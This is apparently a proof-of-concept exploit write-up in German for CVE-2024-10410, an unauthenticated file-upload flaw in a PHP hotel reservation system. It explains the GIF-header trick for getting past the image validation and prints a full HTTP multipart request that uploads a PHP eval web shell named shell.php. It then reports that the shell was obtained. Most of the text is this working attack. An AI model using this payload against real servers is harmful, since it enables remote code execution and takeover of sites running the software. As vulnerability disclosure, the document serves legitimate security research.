
Proof-of-Concept-Exploit für CVE-2024-10410: uneingeschränkter Dateiupload im Online Hotel Reservation System. Demonstriert die Umgehung der Bildvalidierung durch GIF-Header-Injektion, um eine Remote-Code-Ausführung zu erreichen.
Online Hotelreservierungssystem in PHP/MySQLi mit Quellcode | SourceCodester
Eine hochriskante Sicherheitslücke wurde im Online Hotel Reservation System gefunden, die die Upload-Funktion der Datei /marimar/admin/mod_room/controller.php betrifft. Die Umgehung der Erkennungsoperation des Bildparameters führte zu unbegrenztem Datei-Upload. Angriffe können remote durchgeführt werden.
marimar\admin\mod_room\controller.php

Nachdem die Datei hochgeladen wurde, ändert die Variable $image_name den Dateinamen auf das aktuelle Jahr, Monat und Tag und fügt dann _ sowie den hochgeladenen Dateinamen hinzu.
Die Schwachstelle liegt in der Variable $image_size, die erkennt, ob es sich um eine Bilddatei handelt, und andernfalls den Upload deaktiviert. Wir müssen also nur den Header des Bildes vor die injizierte schädliche Datei setzen, um die Erkennung zu umgehen.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
Dem schädlichen Code wurde GIF89a vorangestellt, das als gif getarnt ist. Erstelle das Upload-Paket, und du siehst, dass das Cookie gelöscht wird, was darauf hinweist, dass das System keine Authentifizierung hat und Angriffe remote gestartet werden können.

Obwohl es eine Warnung gab, wurde die Datei erfolgreich hochgeladen, und der Dateiname wurde basierend auf der aktuellen Zeit 2024/10/25 21:55 abgeleitet.


Shell erfolgreich erhalten.